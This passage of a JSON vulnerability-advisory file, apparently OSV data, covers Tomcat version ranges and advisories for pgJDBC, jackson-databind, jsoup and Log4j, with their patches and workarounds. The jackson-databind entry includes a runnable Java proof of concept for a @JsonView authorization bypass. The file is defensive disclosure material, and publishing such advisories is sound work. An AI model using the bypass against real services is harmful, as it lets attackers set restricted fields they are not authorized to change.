"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.0",
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.11",
"7.0.12",
"7.0.14",
"7.0.16",
"7.0.19",
"7.0.2",
"7.0.20",
"7.0.21",
"7.0.22",
"7.0.23",
"7.0.25",
"7.0.26",
"7.0.27",
"7.0.28",
"7.0.29",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.4",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.5",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.6",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.8",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "11.0.0-M1"
},
{
"fixed": "11.0.25"
}
]
}
],
"versions": [
"11.0.0",
"11.0.0-M1",
"11.0.0-M10",
"11.0.0-M11",
"11.0.0-M12",
"11.0.0-M13",
"11.0.0-M14",
"11.0.0-M15",
"11.0.0-M16",
"11.0.0-M17",
"11.0.0-M18",
"11.0.0-M19",
"11.0.0-M20",
"11.0.0-M21",
"11.0.0-M22",
"11.0.0-M24",
"11.0.0-M25",
"11.0.0-M26",
"11.0.0-M3",
"11.0.0-M4",
"11.0.0-M5",
"11.0.0-M6",
"11.0.0-M7",
"11.0.0-M9",
"11.0.1",
"11.0.10",
"11.0.11",
"11.0.12",
"11.0.13",
"11.0.14",
"11.0.15",
"11.0.18",
"11.0.2",
"11.0.20",
"11.0.21",
"11.0.22",
"11.0.23",
"11.0.24",
"11.0.3",
"11.0.4",
"11.0.5",
"11.0.6",
"11.0.7",
"11.0.8",
"11.0.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "10.1.0-M1"
},
{
"fixed": "10.1.58"
}
]
}
],
"versions": [
"10.1.0",
"10.1.0-M1",
"10.1.0-M10",
"10.1.0-M11",
"10.1.0-M12",
"10.1.0-M14",
"10.1.0-M15",
"10.1.0-M16",
"10.1.0-M17",
"10.1.0-M2",
"10.1.0-M4",
"10.1.0-M5",
"10.1.0-M6",
"10.1.0-M7",
"10.1.0-M8",
"10.1.1",
"10.1.10",
"10.1.11",
"10.1.12",
"10.1.13",
"10.1.14",
"10.1.15",
"10.1.16",
"10.1.17",
"10.1.18",
"10.1.19",
"10.1.2",
"10.1.20",
"10.1.23",
"10.1.24",
"10.1.25",
"10.1.26",
"10.1.28",
"10.1.29",
"10.1.30",
"10.1.31",
"10.1.33",
"10.1.34",
"10.1.35",
"10.1.36",
"10.1.39",
"10.1.4",
"10.1.40",
"10.1.41",
"10.1.42",
"10.1.43",
"10.1.44",
"10.1.45",
"10.1.46",
"10.1.47",
"10.1.48",
"10.1.49",
"10.1.5",
"10.1.50",
"10.1.52",
"10.1.53",
"10.1.54",
"10.1.55",
"10.1.56",
"10.1.57",
"10.1.6",
"10.1.7",
"10.1.8",
"10.1.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.0.0-M1"
},
{
"fixed": "9.0.121"
}
]
}
],
"versions": [
"9.0.0.M1",
"9.0.0.M10",
"9.0.0.M11",
"9.0.0.M13",
"9.0.0.M15",
"9.0.0.M17",
"9.0.0.M18",
"9.0.0.M19",
"9.0.0.M20",
"9.0.0.M21",
"9.0.0.M22",
"9.0.0.M25",
"9.0.0.M26",
"9.0.0.M27",
"9.0.0.M3",
"9.0.0.M4",
"9.0.0.M6",
"9.0.0.M8",
"9.0.0.M9",
"9.0.1",
"9.0.10",
"9.0.100",
"9.0.102",
"9.0.104",
"9.0.105",
"9.0.106",
"9.0.107",
"9.0.108",
"9.0.109",
"9.0.11",
"9.0.110",
"9.0.111",
"9.0.112",
"9.0.113",
"9.0.115",
"9.0.116",
"9.0.117",
"9.0.118",
"9.0.119",
"9.0.12",
"9.0.120",
"9.0.13",
"9.0.14",
"9.0.16",
"9.0.17",
"9.0.19",
"9.0.2",
"9.0.20",
"9.0.21",
"9.0.22",
"9.0.24",
"9.0.26",
"9.0.27",
"9.0.29",
"9.0.30",
"9.0.31",
"9.0.33",
"9.0.34",
"9.0.35",
"9.0.36",
"9.0.37",
"9.0.38",
"9.0.39",
"9.0.4",
"9.0.40",
"9.0.41",
"9.0.43",
"9.0.44",
"9.0.45",
"9.0.46",
"9.0.48",
"9.0.5",
"9.0.50",
"9.0.52",
"9.0.53",
"9.0.54",
"9.0.55",
"9.0.56",
"9.0.58",
"9.0.59",
"9.0.6",
"9.0.60",
"9.0.62",
"9.0.63",
"9.0.64",
"9.0.65",
"9.0.67",
"9.0.68",
"9.0.69",
"9.0.7",
"9.0.70",
"9.0.71",
"9.0.72",
"9.0.73",
"9.0.74",
"9.0.75",
"9.0.76",
"9.0.78",
"9.0.79",
"9.0.8",
"9.0.80",
"9.0.81",
"9.0.82",
"9.0.83",
"9.0.84",
"9.0.85",
"9.0.86",
"9.0.87",
"9.0.88",
"9.0.89",
"9.0.90",
"9.0.91",
"9.0.93",
"9.0.94",
"9.0.95",
"9.0.96",
"9.0.97",
"9.0.98",
"9.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "8.5.0"
},
{
"last_affected": "8.5.100"
}
]
}
],
"versions": [
"8.5.0",
"8.5.100",
"8.5.11",
"8.5.12",
"8.5.13",
"8.5.14",
"8.5.15",
"8.5.16",
"8.5.19",
"8.5.2",
"8.5.20",
"8.5.21",
"8.5.23",
"8.5.24",
"8.5.27",
"8.5.28",
"8.5.29",
"8.5.3",
"8.5.30",
"8.5.31",
"8.5.32",
"8.5.33",
"8.5.34",
"8.5.35",
"8.5.37",
"8.5.38",
"8.5.39",
"8.5.4",
"8.5.40",
"8.5.41",
"8.5.42",
"8.5.43",
"8.5.45",
"8.5.46",
"8.5.47",
"8.5.49",
"8.5.5",
"8.5.50",
"8.5.51",
"8.5.53",
"8.5.54",
"8.5.55",
"8.5.56",
"8.5.57",
"8.5.58",
"8.5.59",
"8.5.6",
"8.5.60",
"8.5.61",
"8.5.63",
"8.5.64",
"8.5.65",
"8.5.66",
"8.5.68",
"8.5.69",
"8.5.70",
"8.5.71",
"8.5.72",
"8.5.73",
"8.5.75",
"8.5.76",
"8.5.77",
"8.5.78",
"8.5.79",
"8.5.8",
"8.5.81",
"8.5.82",
"8.5.83",
"8.5.84",
"8.5.85",
"8.5.86",
"8.5.87",
"8.5.88",
"8.5.89",
"8.5.9",
"8.5.90",
"8.5.91",
"8.5.92",
"8.5.93",
"8.5.94",
"8.5.95",
"8.5.96",
"8.5.97",
"8.5.98",
"8.5.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
},
{
"package": {
"name": "org.apache.tomcat.embed:tomcat-embed-core",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.tomcat.embed/tomcat-embed-core"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "7.0.0"
},
{
"last_affected": "7.0.109"
}
]
}
],
"versions": [
"7.0.0",
"7.0.100",
"7.0.103",
"7.0.104",
"7.0.105",
"7.0.106",
"7.0.107",
"7.0.108",
"7.0.109",
"7.0.11",
"7.0.12",
"7.0.14",
"7.0.16",
"7.0.19",
"7.0.2",
"7.0.20",
"7.0.21",
"7.0.22",
"7.0.23",
"7.0.25",
"7.0.26",
"7.0.27",
"7.0.28",
"7.0.29",
"7.0.30",
"7.0.32",
"7.0.33",
"7.0.34",
"7.0.35",
"7.0.37",
"7.0.39",
"7.0.4",
"7.0.40",
"7.0.41",
"7.0.42",
"7.0.47",
"7.0.5",
"7.0.50",
"7.0.52",
"7.0.53",
"7.0.54",
"7.0.55",
"7.0.56",
"7.0.57",
"7.0.59",
"7.0.6",
"7.0.61",
"7.0.62",
"7.0.63",
"7.0.64",
"7.0.65",
"7.0.67",
"7.0.68",
"7.0.69",
"7.0.70",
"7.0.72",
"7.0.73",
"7.0.75",
"7.0.76",
"7.0.77",
"7.0.78",
"7.0.79",
"7.0.8",
"7.0.81",
"7.0.82",
"7.0.84",
"7.0.85",
"7.0.86",
"7.0.88",
"7.0.90",
"7.0.91",
"7.0.92",
"7.0.93",
"7.0.94",
"7.0.96",
"7.0.99"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-h3x4-894j-xpx5/GHSA-h3x4-894j-xpx5.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
}
]
},
{
"id": "GHSA-j92g-9f8w-j867",
"summary": "PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms",
"details": "### Impact\n\n`channelBinding=require` connections can be silently downgraded from `SCRAM-SHA-256-PLUS` (with channel binding) to plain `SCRAM-SHA-256` (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no `tls-server-end-point` channel-binding hash. Examples are `Ed25519`, `Ed448`, and post-quantum algorithms.\n\nTwo issues combine in releases 42.7.4 through 42.7.11:\n\n1. The bundled `com.ongres.scram:scram-client` (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf).\n2. pgJDBC does not enforce `channelBinding=require` where it matters. `ScramAuthenticator` checks only that the server *advertised* a `-PLUS` mechanism; it neither rejects the empty binding nor checks that the *negotiated* mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed `scram-client`, because the missing enforcement is in pgJDBC's own code.\n\nOnly connections that set `channelBinding=require` are affected. Under the default `prefer` policy, and under `allow` or `disable`, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding.\n\n### Patches\n\nFixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the `scram-client` version:\n\n- Under `channelBinding=require`, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing an empty value to the SCRAM client. The error names the certificate signature algorithm.\n- After negotiation, it requires the selected mechanism to use channel binding (a `-PLUS` mechanism) whenever `channelBinding=require` is set, regardless of how negotiation resolved.\n\nUpgrade to 42.7.12 or later.\n\n### Workarounds\n\nNo pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix.\n\nIf you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set `sslmode=verify-full` with a truststore that contains only your server's CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on `channelBinding=require` in place of certificate verification have no equivalent workaround and should upgrade.\n\n### References\n\n- [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf) \u2014 the related `com.ongres.scram:scram-client` issue (root cause of the empty channel-binding value).\n- `scram-client` 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3\n- pgJDBC fix in 42.7.12: [commit](https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99)",
"aliases": [
"BIT-postgresql-jdbc-driver-2026-54291",
"CVE-2026-54291"
],
"modified": "2026-09-10T03:50:12.377062079Z",
"published": "2026-07-21T17:47:39Z",
"database_specific": {
"github_reviewed_at": "2026-07-21T17:47:39Z",
"nvd_published_at": "2026-07-06T19:17:08Z",
"cwe_ids": [
"CWE-636",
"CWE-757"
],
"severity": "HIGH",
"github_reviewed": true
},
"references": [
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-j92g-9f8w-j867"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54291"
},
{
"type": "WEB",
"url": "https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99"
},
{
"type": "WEB",
"url": "https://github.com/ongres/scram/releases/tag/3.3"
},
{
"type": "PACKAGE",
"url": "https://github.com/pgjdbc/pgjdbc"
}
],
"affected": [
{
"package": {
"name": "org.postgresql:postgresql",
"ecosystem": "Maven",
"purl": "pkg:maven/org.postgresql/postgresql"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "42.7.4"
},
{
"fixed": "42.7.12"
}
]
}
],
"versions": [
"42.7.10",
"42.7.11",
"42.7.4",
"42.7.5",
"42.7.6",
"42.7.7",
"42.7.8",
"42.7.9"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-j92g-9f8w-j867/GHSA-j92g-9f8w-j867.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:L/SA:N"
}
]
},
{
"id": "GHSA-mhm7-754m-9p8w",
"summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`",
"details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) && !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it's all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}\n // Expected (secure): Container{label='hello', asset=null}\n if (r.data.asset != null && r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED \u2014 admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields \u2014 an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS \u2014 this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")",
"modified": "2026-09-10T03:50:52.852212609Z",
"published": "2026-07-21T19:40:12Z",
"database_specific": {
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:40:12Z",
"nvd_published_at": null,
"cwe_ids": [
"CWE-863"
]
},
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"affected": [
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.9"
}
]
}
],
"versions": [
"2.18.0",
"2.18.1",
"2.18.2",
"2.18.3",
"2.18.4",
"2.18.5",
"2.18.6",
"2.18.7",
"2.18.8"
],
"database_specific": {
"last_known_affected_version_range": "<= 2.18.8",
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mhm7-754m-9p8w/GHSA-mhm7-754m-9p8w.json"
}
},
{
"package": {
"name": "com.fasterxml.jackson.core:jackson-databind",
"ecosystem": "Maven",
"purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.5"
}
]
}
],
"versions": [
"2.21.0",
"2.21.1",
"2.21.2",
"2.21.3",
"2.21.4"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mhm7-754m-9p8w/GHSA-mhm7-754m-9p8w.json",
"last_known_affected_version_range": "<= 2.21.4"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
}
]
},
{
"id": "GHSA-pmhh-3w7g-xqp8",
"summary": "jsoup: Cleaner may expose markup with custom raw-text elements",
"details": "When a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS.\n\njsoup\u2019s built-in Safelists are unaffected.\n\n## Patches\n\nUpgrade to jsoup 1.23.1.\n\n## Workarounds\n\nUntil upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML.\n\n## Additional security considerations\n\nThis fix addresses malformed tag-name handling only.\n\nPermitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS.",
"aliases": [
"CVE-2026-71497"
],
"modified": "2026-09-10T03:50:53.809983880Z",
"published": "2026-08-06T21:09:36Z",
"database_specific": {
"github_reviewed_at": "2026-08-06T21:09:36Z",
"nvd_published_at": null,
"cwe_ids": [
"CWE-79"
],
"severity": "MODERATE",
"github_reviewed": true
},
"references": [
{
"type": "WEB",
"url": "https://github.com/jhy/jsoup/security/advisories/GHSA-pmhh-3w7g-xqp8"
},
{
"type": "WEB",
"url": "https://github.com/jhy/jsoup/issues/2538"
},
{
"type": "WEB",
"url": "https://github.com/jhy/jsoup/commit/92f1aca552548b484bc7d4b94c51e48b8e6eca70"
},
{
"type": "PACKAGE",
"url": "https://github.com/jhy/jsoup"
},
{
"type": "WEB",
"url": "https://github.com/jhy/jsoup/releases/tag/jsoup-1.23.1"
}
],
"affected": [
{
"package": {
"name": "org.jsoup:jsoup",
"ecosystem": "Maven",
"purl": "pkg:maven/org.jsoup/jsoup"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "1.14.3"
},
{
"fixed": "1.23.1"
}
]
}
],
"versions": [
"1.14.3",
"1.15.1",
"1.15.2",
"1.15.3",
"1.15.4",
"1.16.1",
"1.16.2",
"1.17.1",
"1.17.2",
"1.18.1",
"1.18.2",
"1.18.3",
"1.19.1",
"1.20.1",
"1.21.1",
"1.21.2",
"1.22.1",
"1.22.2"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-pmhh-3w7g-xqp8/GHSA-pmhh-3w7g-xqp8.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"
}
]
},
{
"id": "GHSA-qv9r-c865-cp47",
"summary": "Apache Log4j API: Improper encoding of non-finite floating-point values during MapMessage JSON serialization",
"details": "Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. This issue affects Apache Log4j API versions 2.13.1 through 2.25.4 and version 2.26.0.\n\nThe fix for CVE-2026-34481 did not cover all code paths: when a MapMessage contains a non-finite IEEE 754 value (NaN, Infinity, or -Infinity), MapMessage.asJson() emits the corresponding bare token. RFC 8259 does not permit these tokens, so a conformant parser rejects the resulting document.\n\nThe defect is reachable only when both of the following conditions hold:\n\n * The application uses the message resolver https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message of JsonTemplateLayout or any other layout that relies on MapMessage.asJson() or MapMessage.getFormattedMessage(new String[]{\"JSON\"}).\n * The application logs a MapMessage that contains an attacker-controlled floating-point value.\n\n\nAn attacker who can supply a non-finite value can cause the affected layout to emit malformed JSON, which may corrupt the enclosing log record or disrupt downstream log ingestion and parsing.\n\nUsers are advised to upgrade to Apache Log4j API 2.25.5 or 2.26.1, both of which emit RFC 8259-compliant JSON for non-finite values.",
"aliases": [
"CVE-2026-49844"
],
"modified": "2026-09-10T03:50:52.972700022Z",
"published": "2026-07-11T00:31:48Z",
"database_specific": {
"github_reviewed_at": "2026-08-13T18:28:30Z",
"nvd_published_at": "2026-07-10T22:16:42Z",
"cwe_ids": [
"CWE-116"
],
"severity": "MODERATE",
"github_reviewed": true
},
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49844"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/pull/4163"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/commit/19edb23e162d6c728a8c2221a240037d389ed300"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/commit/feadf8eb0b4acb6ddfa4c0ab2bbc6d88b8e12d82"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/logging-log4j2"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.25.5"
},
{
"type": "WEB",
"url": "https://github.com/apache/logging-log4j2/releases/tag/rel/2.26.1"
},
{
"type": "WEB",
"url": "https://logging.apache.org/cyclonedx/vdr.xml"
},
{
"type": "WEB",
"url": "https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message"
},
{
"type": "WEB",
"url": "https://logging.apache.org/security.html#CVE-2026-49844"
}
],
"affected": [
{
"package": {
"name": "org.apache.logging.log4j:log4j-api",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.logging.log4j/log4j-api"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.13.1"
},
{
"fixed": "2.25.5"
}
]
}
],
"versions": [
"2.13.1",
"2.13.2",
"2.13.3",
"2.14.0",
"2.14.1",
"2.15.0",
"2.16.0",
"2.17.0",
"2.17.1",
"2.17.2",
"2.18.0",
"2.19.0",
"2.20.0",
"2.21.0",
"2.21.1",
"2.22.0",
"2.22.1",
"2.23.0",
"2.23.1",
"2.24.0",
"2.24.1",
"2.24.2",
"2.24.3",
"2.25.0",
"2.25.1",
"2.25.2",
"2.25.3",
"2.25.4"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-qv9r-c865-cp47/GHSA-qv9r-c865-cp47.json"
}
},
{
"package": {
"name": "org.apache.logging.log4j:log4j-api",
"ecosystem": "Maven",
"purl": "pkg:maven/org.apache.logging.log4j/log4j-api"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "2.26.0"
},
{
"fixed": "2.26.1"
}
]
}
],
"versions": [
"2.26.0"
],
"database_specific": {
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-qv9r-c865-cp47/GHSA-qv9r-c865-cp47.json"
}
}
],
"schema_version": "1.9.0",
"severity": [
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N"
}
]
}
]
Reference in New Issue View Git Blame Copy Permalink